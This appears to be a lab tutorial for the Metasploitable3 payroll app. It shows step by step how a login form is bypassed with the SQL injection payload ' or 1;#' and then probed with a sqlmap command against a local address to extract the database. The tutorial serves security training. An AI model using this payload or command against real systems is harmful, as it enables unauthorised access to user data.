For this tutorial you will need the following tools * Browser (Prefarably Mozilla) * Burpsuite * SQLMap 1. Try and login using the following credentials: | Field | Value | | --------- |:--------:| | USERNAME | admin | | PASSWORD | admin | RESULTS: The webpage will display your username and no content ![alt text](https://github.com/ACIC-Africa/metasploitable3/blob/master/images/payroll_app/step-1.png "STEP 1") ![alt text](https://github.com/ACIC-Africa/metasploitable3/blob/master/images/payroll_app/result-1.png "Result 1") 2. Try and login using the following credentials: | Field | Value | | --------- |:--------:| | USERNAME | ' | | PASSWORD | admin | RESULTS: The webpage will be blank ![alt text](https://github.com/ACIC-Africa/metasploitable3/blob/master/images/payroll_app/step-2.png "STEP 2") ![alt text](https://github.com/ACIC-Africa/metasploitable3/blob/master/images/payroll_app/result-2.png "RESULT 2") 3. Try and login using the following credentials: | Field | Value | | --------- |:--------:| | USERNAME | ' or 1;#'| | PASSWORD | admin | RESULTS: The web page will return all the user content ![alt text](https://github.com/ACIC-Africa/metasploitable3/blob/master/images/payroll_app/step-3.png "STEP 2") ![alt text](https://github.com/ACIC-Africa/metasploitable3/blob/master/images/payroll_app/result-3.png "RESULT 2") 4. Use SQLMap to extract the database using the following commands: ```sqlmap -u http://127.0.0.1:7000/payroll_app.php --data="user=admin&password=admin&s=OK" -p user --method POST``` RESULTS: SQLMap will identify whether the web application is vulnerable to SQL Injection ![alt text](https://github.com/ACIC-Africa/metasploitable3/blob/master/images/payroll_app/step-4-sqlmap.png "STEP 4") ![alt text](https://github.com/ACIC-Africa/metasploitable3/blob/master/images/payroll_app/result-4-1.png "RESULT 4")